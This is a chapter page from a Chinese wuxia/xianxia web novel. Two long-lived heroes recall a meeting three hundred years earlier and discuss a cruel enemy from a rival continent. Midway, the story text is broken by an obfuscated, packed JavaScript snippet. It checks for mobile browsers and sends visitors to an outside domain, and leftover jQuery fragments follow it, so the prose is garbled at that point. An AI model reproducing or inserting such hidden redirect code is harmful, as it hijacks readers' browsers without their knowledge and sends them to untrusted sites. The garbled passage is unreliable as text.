123读书网 > 其他小说 > 侠客的摆烂权谋法则 > 13. 旧事
    赵桓本来安静地侧耳听着,猛地听到这句话,他没回过神,口水呛他个半死:“……咳咳……”


    “实话实说挺明显的,”顾忱也不急,示意墨尽慢点等等,“只是我一直没往这方面想而已。”


    赵桓犹豫了半天,吞吞吐吐地道:“嗯,有三百多年了。”


    顾忱暗自松口气:“具体呢?”


    “大抵是江州灯市吧。”赵桓一一时不知如何回答。


    此夜无月,他借着星光依稀可见顾忱的侧颜。她和三百年前一样,赵桓脑海里第一个浮现的顾忱就是她在灯市的侧脸。


    三百多年前,除去大纪年荒纪,那时年号叫“穆清”,取清和之气。


    穆清三十七年,冬。


    江州最负盛名的酒楼名为“天落水”,傍着江州最大的湖泊明澜湖而生。


    有言道:“明澜之水天上来,惊了人间,仍如云端里。”


    明澜水厚重如丝绸却清着,不少初出茅庐的少年人慕名而来,想看看这天上水是如何的神奇。


    那年,顾忱十九岁,却已坐上了武林第一的宝座。


    她在江湖的日子满打满算也才五年,更何况期间边走边停,兜兜转转也没行过多远。


    赵桓也没来过江州,彼时的两位好友一拍即合,抛下初入江湖懵懵懂懂的赵涿前往江州。


    那时的修炼者一日千里不在话下,两个人闲得慌,觉得这样太没意思。


    一生本就漫长,若是再在这些事情上匆匆忙忙,那余下的岁月是当真无趣了。


    顾忱骑着自己的白马墨尽,远东苍山脚下跑出来的王者也尚且年幼,玩心大着,天天躁动催着顾忱换个地方去玩。


    顾忱要去江州玩玩也是合了他的心意,他高高兴兴地背着她往江州去,差点甩下了没有好马的赵桓。


    谁让他的爱马无雪生得晚呢。


    江州和宁州燕州都不同,四季如春。已经入了秋,但正午的太阳毒得和寻常夏日没区别。


    顾忱坐在天落水的二楼转角处,倚着半开的窗。


    酒是冰过的,在这个鬼天气里分外抢手。赵桓姗姗来迟,顾忱把酒杯往他面前一推:“迟了,自罚三杯吧。”


    赵桓也不扭捏,豪迈地一饮而尽,惹得顾忱刮目相看:“不容易啊,赵公子没渴死吧。”


    过了半天,他才回过顾忱这话的意思。


    天落水的佳酿是用花制成的甜酒,里面掺的蜜足以让人喝下一整个明澜湖解腻。


    顾忱抚掌大笑,豪迈地付了两人的酒钱,像做了坏事的猫儿一溜烟儿跑掉了。


    赵桓跟丢了,漫无目的地在江州最热闹的城淮瑜城里乱转。他知道顾忱就在不远处等着藏着,但他始终抓不住。


    终是在入夜的灯市里寻到了意中人的影子,顾忱站在未明的灯下,露出不近人情的侧脸。


    赵桓轻手轻脚地走过去,顾忱却扭过头,展颜一笑:“乌龟似的,太慢。”


    顾忱也说不好自己为什么起了逗弄赵桓的心思,自己有没有起恋爱的心思也不清楚。不过想做就去做,至少不后悔。


    顾忱也确实一直是这么做的,毕竟有个词叫落子无悔嘛。


    人生在世,前路漫漫。


    哪怕是最普通的百姓,也有自己过个几十年的活法。她的寿数长着,更不应该拘泥于这些。


    因为这东西还在时间能冲淡的范围之内。


    三百年后,又是入了江州的地界,顾忱又想到了沈知兰狠狠地撂下的落子无悔。


    楚眉是沈知兰的生母,但二人之间的感情非常淡。


    楚眉是个人物,京城但凡对她有点了解的都是这么说的。


    她聪明,狠毒,懂得审时视度,命里又带着点漂泊无依的煞。这些集合在一个人身上,便是天生的枭主。


    “罢了,等到江州也不见得有闲暇。”顾忱一夹马腹,墨尽嘶鸣着往前冲出两步,“你对楚眉了解多少?”


    赵桓见顾忱不再提那些懵懂心事让他难堪,暗自庆幸:“是那位李大人的夫人吗?”


    那日鸭子假意向苍天鸣不平竟得了不算回应的警告,不提几个设计这场大戏的,底下心怀鬼胎的几个可是被吓得半死。


    李大人一介草包,差点没吓出尿来,倒也强撑着镇定回了府。不知那夜发生了什么,第二天他甚至还心情很好地拖着一家老小去了城郊的惠如寺祈福。


    赵涿留京盯着李大人一家的动向,赵桓顾忱的马自然是比马车快上许多,只要路上不耽搁太久是一定能早早到流求的。


    云碧溪情况不明,流求现在的局势也不明朗。只能趁着两位在流求“一手遮天”的大人物不在,他们先混进去了。


    “我那天单独问了楚眉,她说这次西幻海来人里有三个算是头儿,两个没听过的,另一个你猜叫什么,”顾忱的眼睛平视着前方,神色沉沉。


    赵桓把西幻海当年来人的名字匆匆在脑里过了一遍。


    他记性极佳,很多陈年旧事都在脑子里放着,有用处的时候就拿出来看看。


    曾经的东大陆和西幻海之间有一场旷日持久的惨烈战争。


    老一代的江湖人或葬身河山,或远赴敌营,一去不返。新一代的江湖人前仆后继,或死守故土。江山难易,这侠情亦难移。


    打到最后,剩下的几个都是年轻人,两块大陆各自保留的希望之薪火。


    “琼,蒙斯特,……还有谁来着,安瑟?”令赵桓印象深刻的就这几个,“剩下的应该不足为惧了吧。”


    顾忱放任着墨尽越行越快:“回答正确,就是安瑟。”


    “我几年前去流求的时候,西幻海的船队寥寥,”赵桓并不是很想提安瑟。


    安瑟的长相在西幻海文明里和天神别无二致——高大英俊,黄金般闪耀的短发,以及星空般深邃的眼睛。


    但这家伙确实是个畜生,他这辈子仅有的文明都留在了那具躯壳上。


    安瑟也是少年得志,行事嚣张到了肆无忌惮无法无天的程度。东大陆上总有良善的百姓,都沦为了他的活靶子。他一鞭挥出,能带起一片血雾,因为都是人的头颅被扫了下来。


    他的年纪要比赵桓大上几岁,那几年来他跟着前辈们去了另一块大陆,在那里肆意征服。


    本以为在东大陆也是一样的顺利,可没想到在这边啃上了个硬骨头。安瑟屡战屡败屡败屡战,气的他只能抓住机会就疯狂泄愤,最后甚至有了做人的爱好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723696|173956||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    做人,指烹饪人类。


    正因为如此变态的喜好,他被赵桓记了足足三百年。


    “安瑟行事张扬,这三百年了也才学会了低调。”赵桓感慨万千,“这下不好抓了。”


    顾忱没接茬,赵桓也没再开口。


    独自夜行于二人都是家常便饭,他们便也如往常一样盘算着接下来的行程。


    谈情说爱听起来固然有趣,但是有太多事在眼下比它重要得多。


    李大人一家应该会在京城逗留个十天半月才启程,马车每日能行的路程有限,远比不上他们策马风雨兼程的脚程。


    这样他们应该会有不少时间摸清情况。


    顾忱想着,默不作声地打开了腰间的水壶。一口没喝到水,一滴也没有。


    她晃晃,没听见什么水声。重量也确实不对劲,太轻,是空的。


    也确实没到口渴难耐的程度,天上的星稀稀拉拉,顾忱废了老大劲才勉强看清了地图上标注的河流位置。


    很好,一百里以内没有水源,而且是荒无人烟的一片。


    赵桓察觉到身边人的动作,放慢了马的速度:“怎么了?”


    他很会挑位置,在这个角度顾忱刚好能看清他的脸。


    赵桓有一双看狗都深情的风流桃花眼,偏偏眼神又不太好,看人的时候带着几分朦胧,再沉的心机也被敛去。


    顾忱没回看他的眼,赵桓最擅长用这种方式打破僵局,因为他清楚自己的皮相长得上佳。顾忱倒也有一副好皮囊,只是不常用色诱这种招数——有人生来就是正人君子的料,血污也只是粘在表皮。


    真的和当年父母骂的一样,她是个“冥顽不化”的家伙,在某些方面刻板得出奇。


    从江湖到庙堂,行了百年岁月。有人早已陷在各种功名利禄的漩涡中难以抽身,有人被这些东西拖累着无法追逐清空明月。


    所以她只有至交没有爱人,在那个随随便便双修的时代都没有牵过别人的手。


    就算是不看脸,轻柔的桂花香还是不可避免地钻进了她的鼻腔。


    那点毒污洗是洗掉了,但毒药顽固的气味没有被水流带走。味道也算好闻,赵桓就没搞些什么香囊去盖着气味,就在这深秋带着不合时宜的一身桂花香。


    “我的壶里面有烧好的水。”赵桓看出顾忱没水喝的窘迫,“给你倒点,背在我身上还怪沉的。”


    顾忱只是递上了水壶:“有劳。”


    无月夜行在马上,赵桓的手依旧很稳,倒了大半壶给顾忱。


    顾忱接了水,依旧不言,只是闷头喝干了半壶。


    顾忱从未感觉这辈子有这么进退维谷的时候。


    自打守边关后,她不愿意再和什么人有太深的交情。


    人这一生匆匆忙忙,连百年都鲜少有人能至,注定是送别的一段感情于她而言只是痛苦。


    但是旧友们与她一样,有着一眼望不到头的漫长寿数,说不上谁给谁送终。


    戳破了这点薄薄却维持了三百年的友情与爱情之间的窗户纸,他们下一步该怎么相处呢。


    自认一直置身事外却忽然发现自己深陷局中的顾大将军在星光照不到的暗影里愁眉苦脸。